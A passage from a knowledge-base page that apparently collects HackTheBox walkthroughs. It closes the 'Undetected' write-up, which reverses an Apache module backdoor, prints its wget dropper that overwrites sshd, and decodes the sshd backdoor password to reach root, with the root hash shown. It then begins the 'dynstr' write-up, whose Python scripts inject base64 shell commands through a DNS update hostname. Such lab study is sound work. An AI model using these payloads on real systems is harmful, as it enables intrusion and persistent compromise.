 8214 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_info.so
 8261 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_lbmethod_bybusyness.so
 8262 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_lbmethod_byrequests.so
 8300 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_lbmethod_bytraffic.so
 8389 -rw-r--r-- 1 root root   22736 2022-01-05 14:49:56.000000000 +0000 mod_lbmethod_heartbeat.so
 8505 -rw-r--r-- 1 root root   84176 2022-01-05 14:49:56.000000000 +0000 mod_ldap.so
 8509 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_log_debug.so
 8510 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_log_forensic.so
 8511 -rw-r--r-- 1 root root  134544 2022-01-05 14:49:56.000000000 +0000 mod_lua.so
 8782 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_macro.so
 8792 -rw-r--r-- 1 root root  260672 2022-01-05 14:49:56.000000000 +0000 mod_md.so
 8793 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_mime.so
 8794 -rw-r--r-- 1 root root   30928 2022-01-05 14:49:56.000000000 +0000 mod_mime_magic.so
 8795 -rw-r--r-- 1 root root   67792 2022-01-05 14:49:56.000000000 +0000 mod_mpm_event.so
 8796 -rw-r--r-- 1 root root   39120 2022-01-05 14:49:56.000000000 +0000 mod_mpm_prefork.so
 9473 -rw-r--r-- 1 root root   47312 2022-01-05 14:49:56.000000000 +0000 mod_mpm_worker.so
 9517 -rw-r--r-- 1 root root   39120 2022-01-05 14:49:56.000000000 +0000 mod_negotiation.so
 9636 -rw-r--r-- 1 root root  133888 2022-01-05 14:49:56.000000000 +0000 mod_proxy.so
 9675 -rw-r--r-- 1 root root   55504 2022-01-05 14:49:56.000000000 +0000 mod_proxy_ajp.so
 9679 -rw-r--r-- 1 root root   59600 2022-01-05 14:49:56.000000000 +0000 mod_proxy_balancer.so
 9787 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_proxy_connect.so
 9799 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_proxy_express.so
 9820 -rw-r--r-- 1 root root   35024 2022-01-05 14:49:56.000000000 +0000 mod_proxy_fcgi.so
 9827 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_proxy_fdpass.so
 9869 -rw-r--r-- 1 root root   47312 2022-01-05 14:49:56.000000000 +0000 mod_proxy_ftp.so
 9878 -rw-r--r-- 1 root root   35024 2022-01-05 14:49:56.000000000 +0000 mod_proxy_hcheck.so
 9903 -rw-r--r-- 1 root root   39152 2022-01-05 14:49:56.000000000 +0000 mod_proxy_html.so
 9905 -rw-r--r-- 1 root root   47312 2022-01-05 14:49:56.000000000 +0000 mod_proxy_http.so
 9977 -rw-r--r-- 1 root root   67936 2022-01-05 14:49:56.000000000 +0000 mod_proxy_http2.so
10062 -rw-r--r-- 1 root root   22768 2022-01-05 14:49:56.000000000 +0000 mod_proxy_scgi.so
10118 -rw-r--r-- 1 root root   22656 2022-01-05 14:49:56.000000000 +0000 mod_proxy_uwsgi.so
10119 -rw-r--r-- 1 root root   18560 2022-01-05 14:49:56.000000000 +0000 mod_proxy_wstunnel.so
10120 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_ratelimit.so
10121 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_reflector.so
10122 -rw-r--r-- 1 root root   30928 2022-01-05 14:49:56.000000000 +0000 mod_remoteip.so
10123 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_reqtimeout.so
10124 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_request.so
10125 -rw-r--r-- 1 root root   75984 2022-01-05 14:49:56.000000000 +0000 mod_rewrite.so
10126 -rw-r--r-- 1 root root   43216 2022-01-05 14:49:56.000000000 +0000 mod_sed.so
10127 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_session.so
10134 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_session_cookie.so
10206 -rw-r--r-- 1 root root   30928 2022-01-05 14:49:56.000000000 +0000 mod_session_crypto.so
10722 -rw-r--r-- 1 root root   22736 2022-01-05 14:49:56.000000000 +0000 mod_session_dbd.so
10726 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_setenvif.so
10735 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_slotmem_plain.so
10736 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_slotmem_shm.so
10737 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_socache_dbm.so
10738 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_socache_memcache.so
10739 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_socache_redis.so
10740 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_socache_shmcb.so
10741 -rw-r--r-- 1 root root   18640 2022-01-05 14:49:56.000000000 +0000 mod_speling.so
10744 -rw-r--r-- 1 root root  248240 2022-01-05 14:49:56.000000000 +0000 mod_ssl.so
10747 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_status.so
10748 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_substitute.so
10749 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_suexec.so
10750 -rw-r--r-- 1 root root   14464 2022-01-05 14:49:56.000000000 +0000 mod_unique_id.so
10751 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_userdir.so
10752 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_usertrack.so
10753 -rw-r--r-- 1 root root   14544 2022-01-05 14:49:56.000000000 +0000 mod_vhost_alias.so
10934 -rw-r--r-- 1 root root   26832 2022-01-05 14:49:56.000000000 +0000 mod_xml2enc.so
total 8772
```

This above file is modified quite recently. Let’s download it on Kali and reverse it. Open it with Ghidra.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# scp steven1@undetected.htb:/usr/lib/apache2/modules/mod_reader.so .
steven1@undetected.htb's password: 
mod_reader.so
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2157.jpg)

One of the functions is ‘b64_decode’. It is being called in an function.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2158.jpg)

As you can see in decompiler, it gives us the base64 encoded data. Let’s decode it.

``` bash
┌──(root💀kali)-[~]
└─# echo -n "d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk" | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
```

It’s outputting a image data into ‘sshd’ binary. Let’s Download that file and run it via Ghidra.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# scp steven1@undetected.htb:/usr/sbin/sshd .
steven1@undetected.htb's password: 
sshd                                                                                                        100% 3559KB 106.4KB/s   00:33
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2159.jpg)

As you can see from the above image, there’s a backdoor in ‘Auth-Password’ function. From decompiler, we can safely guess that the password is ’31’ character.

``` bash
int auth_password(ssh *ssh,char *password)

{
  Authctxt *ctxt;
  passwd *ppVar1;
  int iVar2;
  uint uVar3;
  byte *pbVar4;
  byte *pbVar5;
  size_t sVar6;
  byte bVar7;
  int iVar8;
  long in_FS_OFFSET;
  char backdoor [31];
  byte local_39 [9];
  long local_30;
  
  bVar7 = 0xd6;
  ctxt = (Authctxt *)ssh->authctxt;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  backdoor._28_2_ = 0xa9f4;
  ppVar1 = ctxt->pw;
  iVar8 = ctxt->valid;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = -0x5b;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;
  pbVar4 = (byte *)backdoor;
  while( true ) {
    pbVar5 = pbVar4 + 1;
    *pbVar4 = bVar7 ^ 0x96;
    if (pbVar5 == local_39) break;
    bVar7 = *pbVar5;
    pbVar4 = pbVar5;
  }
  iVar2 = strcmp(password,backdoor);
  uVar3 = 1;
  if (iVar2 != 0) {
    sVar6 = strlen(password);
    uVar3 = 0;
    if (sVar6 < 0x401) {
      if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
        iVar8 = 0;
      }
      if ((*password != '\0') ||
         (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
        if (auth_password::expire_checked == 0) {
          auth_password::expire_checked = 1;
          iVar2 = auth_shadow_pwexpired(ctxt);
          if (iVar2 != 0) {
            ctxt->force_pwchange = 1;
          }
        }
        iVar2 = sys_auth_passwd(ssh,password);
        if (ctxt->force_pwchange != 0) {
          auth_restrict_session(ssh);
        }
        uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
      }
    }
  }
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

Looking at the backdoor, I believe we need to stack them up from high to low as below

``` bash
backdoor[30] = -0x5b;
backdoor._28_2_ = 0xa9f4;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor._12_4_ = 0xfdb3d6e7;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._0_4_ = 0xf0e7abd6;
```

Now we have ordered them accordingly. We have to convert this endianness to Hex and from HEX to XOR.

``` bash
https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',31,true)From_Hex('Auto')XOR(%7B'option':'Hex','string':'96'%7D,'Standard',false)&input=MHhhNWIKMHhhOWY0CjB4YmNmMGI1ZTMKMHhiMmQ2ZjRhMGZkYTBiM2Q2CjB4ZmRiM2Q2ZTcKMHhmN2JiZmRjOAoweGE0YjNhM2YzCjB4ZjBlN2FiZDY
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2160.jpg)


As you can see the output is blob. Then I checked the input values.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2161.jpg)

I have been using one invalid value. The correct value is 0xa5

``` bash
https://gchq.github.io/CyberChef/#recipe=Swap_endianness('Hex',31,true)From_Hex('Auto')XOR(%7B'option':'Hex','string':'96'%7D,'Standard',false)&input=MHhhNQoweGE5ZjQKMHhiY2YwYjVlMwoweGIyZDZmNGEwZmRhMGIzZDYKMHhmZGIzZDZlNwoweGY3YmJmZGM4CjB4YTRiM2EzZjMKMHhmMGU3YWJkNg
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2162.jpg)

Now we have the backdoor password.

``` bash
@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
```

Let’s login via SSH and read root flag.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/undetected]
└─# ssh root@undetected.htb
root@undetected.htb's password: 
Last login: Tue Feb  8 20:11:45 2022 from 10.10.14.23
root@production:~# id
uid=0(root) gid=0(root) groups=0(root)
root@production:~# whoami
root
root@production:~# cat root.txt 
39facab6208e1edd81f30d3f913145f9
root@production:~# cat /etc/shadow |grep root
root:$6$xxydXHZzlPY4U0lU$qJDDFjfkXQnhUcESjCaoCWjMT9gAPnyCLJ8U5l2KSlOO3hPMUVxAOUZwvcm87Vkz0Vyc./cDsb2nNZT0dYIbv.:19031:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2163.jpg)


#### Summary of knowledge

 - phpunit CVE-2017-9841 backdoor rce t0 get shell
 - linux binary reverse to base64 decode to get shadow hash
 - hashcat crack shadow hash
 - ghidra reverse .so backdoor
 - use cyberchef "swap endianness", "from hex", "xor" to get root password

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end undetected -->

</details>




# DNS、NFS、邮件与多主机信任

网络服务的导出、代理、认证与文件映射会把远程身份带到本地系统。本章保留原环境中的协议枚举、UID、DNS 记录、邮件服务和双主机拓扑，便于检查信任如何传递。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/services/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Vulnix 的 UID 与 root_squash、Dynstr 的 PTR 与更新密钥各有明确配置条件。

Chanakya 由 FTP 材料转到授权密钥和周期任务，Tentacle 继续分析 keytab。

WinterMute 的两台机器按原网络分层，TTY、转发和 LXD 的顺序完整保留。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [动态 DNS 更新与反向记录](#case-dynstr) | dynstr | DNS、命令注入、文件权限 |
| [FTP 流量与授权密钥](#case-ha-chanakya) | HA-Chanakya | FTP、PCAP、SSH、chkrootkit |
| [NFS UID 映射与 root_squash](#case-hacklab-vulnix) | HackLAB-Vulnix | NFS、UID、文件权限 |
| [代理、OpenSMTPD 与 keytab](#case-tentacle) | tentacle | OpenSMTPD、Kerberos、keytab、Squid |
| [双主机网络与 LXD 边界](#case-wintermute-1) | WinterMute-1 | 端口转发、LXD、Struts |

<a id="case-dynstr"></a>

## 动态 DNS 更新与反向记录

动态 DNS API 的输入、PTR 记录和 SSH 访问关系共同决定入口。后半段保留 bindmgr 脚本对文件权限与路径处理的细节。

<p class="kb-provenance">来源 dynstr · 原记录 2021-06-14 · 38 个代码块 · 7 处图片引用</p>

<details class="kb-evidence" id="record-dynstr">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start dynstr -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	12 Jun 2021
IP:	10.10.10.244

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2000.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Ports

|Ports|service|version|
|-----|----|-----|
|22|SSH|OpenSSH 8.2p1 Ubuntu 4ubuntu0.2|
|53|DNS|ISC BIND 9.16.1 (Ubuntu Linux)|
|80|HTTP|Apache httpd 2.4.41|

#### NMAP
```bash
# Nmap 7.91 scan initiated Sun Jun 13 04:53:49 2021 as: nmap -vvv -p 22,53,80 -A -v -oN intial.nmap 10.10.10.244
Nmap scan report for dynstr.htb (10.10.10.244)
Host is up, received syn-ack (0.16s latency).
Scanned at 2021-06-13 04:53:51 BST for 16s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC//sbOTQwLRH4CGj3riDnnTvTCiJT1Uz7CyRSD2Tkh2wkT20rtAq13c5M1LC2kxki2bz9Ptxxx340Cc9tAcQaPZbmHndQe/H1bGiVZCKjOl2WqWQTV9fq6GGtflC94BkkLrmkWHzqg+S50g2Zg0iesPMkKAmwqwEVZx9npe1QuF3RQu5EYQXRYVOzpqQdU+jRD267gCvsKp9xmr7trZ1UzFxfBUOzSCWa3Adm2TTFwiA5jTb6x0lKVnQtgKghioMQeXXPuiTLCbI0XfbksoRI2OBAvTZf7RsIthKCiyCQRWjVh5Idr5Fh7GgwYaDgW662W3V3hCNEQRY8R9/fXWdVho1gWbm6NFt+NyRO/6F2XDvPseBYr+Yi6zwGEM+PpsTi5dfj8yYKRZ3HFXwjeBGjCPMRe9XPpCvvDnHAF18B1INVJPSwAIVll365V5D18JslQh7PpAWxO70TzmEC9E+UPXOrt29tZ0Zi/uApFRM700pdOhnvcs8q4RBWaUpp3ZB0=
|   256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFtYzp8umMbm7o9+1LUTVio/dduowE/AsA3rO52A5Q/Cuct9GY6IZEvPE+/XpEiNCPMSl991kjHT+WaAunmTbT4=
|   256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOz8b9MDlSPP5QJgSHy6fpG98bdKCgvqhuu07v5NFkdx
53/tcp open  domain  syn-ack ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.16.1-Ubuntu
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 13 04:54:07 2021 -- 1 IP address (1 host up) scanned in 18.86 seconds
```

#### DNS Enumeration

For this part I reffered to one of my favourite website for refference https://book.hacktricks.xyz/pentesting/pentesting-dns
Let's get the banner for the DNS version

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# dig version.bind CHAOS TXT @dyna.htb

; <<>> DiG 9.16.13-Debian <<>> version.bind CHAOS TXT @dyna.htb
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61304
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 2c3040bb3d8e6c5b0100000060c6e3286e8c14a06e158e06 (good)
;; QUESTION SECTION:
;version.bind.                  CH      TXT

;; ANSWER SECTION:
version.bind.           0       CH      TXT     "9.16.1-Ubuntu"

;; Query time: 332 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: 一 6月 14 01:01:42 EDT 2021
;; MSG SIZE  rcvd: 95
```

Looking at almost any record that is publicly available we find some subdomains

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# dig ANY @10.10.10.244 dyna.htb

; <<>> DiG 9.16.13-Debian <<>> ANY @10.10.10.244 dyna.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 43818
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 41dc2957b1ff99420100000060c6e373bcf7cb1343550555 (good)
;; QUESTION SECTION:
;dyna.htb.                      IN      ANY

;; ANSWER SECTION:
dyna.htb.               60      IN      SOA     dns1.dyna.htb. hostmaster.dyna.htb. 2021030305 21600 3600 604800 60
dyna.htb.               60      IN      NS      dns1.dyna.htb.

;; ADDITIONAL SECTION:
dns1.dyna.htb.          60      IN      A       127.0.0.1

;; Query time: 324 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: 一 6月 14 01:02:57 EDT 2021
;; MSG SIZE  rcvd: 147
```

let's add those to /etc/hosts

```bash
sudo echo "10.10.10.244  dns1.dyna.htb hostmaster.dyna.htb" >> /etc/hosts
```

visiting the subdomains doesn't do you any good. it's the same website so let's move on.

#### Web Enumeration

visiting the website we can see the potential dns name for the host.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2001.jpg)

At the very bottom of the page we can see there is the email to contact with the domain dyna.htb so let's add it in /etc/hosts

```bash
sudo echo "10.10.10.244  dyna.htb" >> /etc/hosts 
```

let's visit the page nothing changed.

#### Directory Fuzzing

```bash
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u http://dyna.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200 -c -e .txt,.php,.html

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0-git
________________________________________________

 :: Method           : GET
 :: URL              : http://dyna.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Extensions       : .txt .php .html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

.htpasswd.html          [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd.php           [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess               [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess.txt           [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess.html          [Status: 403, Size: 273, Words: 20, Lines: 10]
.htaccess.php           [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd.txt           [Status: 403, Size: 273, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 305, Words: 20, Lines: 10]
index.html              [Status: 200, Size: 10909, Words: 1937, Lines: 282]
nic                     [Status: 301, Size: 302, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 273, Words: 20, Lines: 10]
:: Progress: [81876/81876] :: Job [1/1] :: 388 req/sec :: Duration: [0:03:31] :: Errors: 104 ::
```

we have intresting nic directory.
Visiting that nic directory we can see just a blank page so let's the and fuzz that directory again.

```bash
┌──(root💀kali)-[~/ffuf]
└─# ./ffuf -u http://dyna.htb/nic/FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200 -c 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://dyna.htb/nic/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.htaccess               [Status: 403, Size: 273, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 273, Words: 20, Lines: 10]
update                  [Status: 200, Size: 8, Words: 1, Lines: 2]
:: Progress: [20469/20469] :: Job [1/1] :: 982 req/sec :: Duration: [0:00:38] :: Errors: 3 ::
```
We got the subdirectory update let's check it.
Visiting the directory we got the bad auth as output.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2002.jpg)

From earlier we have creds for beta version of the website.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2003.jpg)

So let's try to auth with HTTP basic authentication.
I wrote a simple python script for that

```python
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth

url = 'http://dyna.htb/nic/update'

res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'))
print (res.text)
```

Running the script we get the following output.

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py 
nochg 10.10.14.10
```

at first I didn't understand nochg in reponse so I google nochg and landed on the following article.

 - [Return Codes (RA-API)](https://help.dyn.com/remote-access-api/return-codes/)

It looks like it's an API for dynamic DNS and we are at the update portal.

Looking at the following article we can see how to perform updates.

 - [Perform Update (RA-API)](https://help.dyn.com/remote-access-api/perform-update/)

looking at the example in article I knew that I have to pass two parameter atleast to perform update i.e the hostname and myip so let's try it.

Again going back to website we know we have few dynamic dns running so let's try and get it.

Updated python script to perform updates

```python
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth

url = 'http://dyna.htb/nic/update'
params = {
	'myip' : '10.10.14.10',
	'hostname': 'test.no-ip.htb'
}

res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)
```

let's send this request.

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py 
good 10.10.14.10
```

we got the good response so we can perform update now let's look at some parameters we can tamper.

Looking through the above perform update article I can see one intresting thing that the update will get distributed to all the linked device so if we can inject the hostname we can get the possible RCE and I thought about injecting IP but it's is not possible as it will lead to validation problem as IP cannot have character so we can inject hostname and send payload as subdomain name but we cannot use special chars as it is not allowed as a domain name so we have base64 encode the payload and send the request.

```python
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'id'
final = b64encode(payload)
print (final)
params = {
	'myip' : '10.10.14.10',
	'hostname': '{}.no-ip.htb'.format(final)
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)
```

let's run the script.

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py 
b'aWQ='
911 [nsupdate failed]
```

 - [noip request](https://www.noip.com/integrate/request)

It said nsudate failed so we know that we cannot update ns record but going through documentation we have an option to push update offline.

so let's try that.

```python
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'pwd'
final = b64encode(payload)
#print (final)
params = {
	'myip' : '10.10.14.10',
	'hostname': '`echo "{}" | base64 -d | bash`test.no-ip.htb'.format(str(final)),
	'offline': 'YES'
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)
```

we get the output

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py 
good 10.10.14.10
```

Looks like it could to blind RCE so let's try and ping your machine.
UPDATED script

```python
#!/usr/bin/python3

import requests
from requests.auth import HTTPBasicAuth
from base64 import b64encode

url = 'http://dyna.htb/nic/update'
payload = b'ping -c 4 10.10.14.10'
final = b64encode(payload)
print ('{}'.format(final.decode()))
params = {
	'myip' : '10.10.14.10',
	'hostname': '`echo "{}" | base64 -d | bash`"dynadns.no-ip.htb'.format(final.decode()),
	'offline': 'YES'
}


res = requests.get(url, verify=False, auth=HTTPBasicAuth('dynadns', 'sndanyd'), params=params)
print (res.text)
```

Running the script

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# python3 script.py 
cGluZyAtYyA0IDEwLjEwLjE0LjEw
server 127.0.0.1
zone no-ip.htb
update delete PING 10.10.14.10 (10.10.14.10) 56(84) bytes of data.
64 bytes from 10.10.14.10: icmp_seq=1 ttl=63 time=300 ms
64 bytes from 10.10.14.10: icmp_seq=2 ttl=63 time=299 ms
64 bytes from 10.10.14.10: icmp_seq=3 ttl=63 time=299 ms
64 bytes from 10.10.14.10: icmp_seq=4 ttl=63 time=298 ms

--- 10.10.14.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 297.622/298.907/300.286/0.946 msdynadns.no-ip.htb
good 10.10.14.10
```

Got the ping back

```bash
┌──(root💀kali)-[~/hackthebox/machine/dynstr]
└─# tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:51:41.981360 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 1, length 64
01:51:41.981456 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 1, length 64
01:51:42.980493 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 2, length 64
01:51:42.980513 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 2, length 64
01:51:43.981906 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 3, length 64
01:51:43.981921 IP 10.10.14.10 > 10.10.10.244: ICMP echo reply, id 1, seq 3, length 64
01:51:44.982448 IP 10.10.10.244 > 10.10.14.10: ICMP echo request, id 1, seq 4, length 64
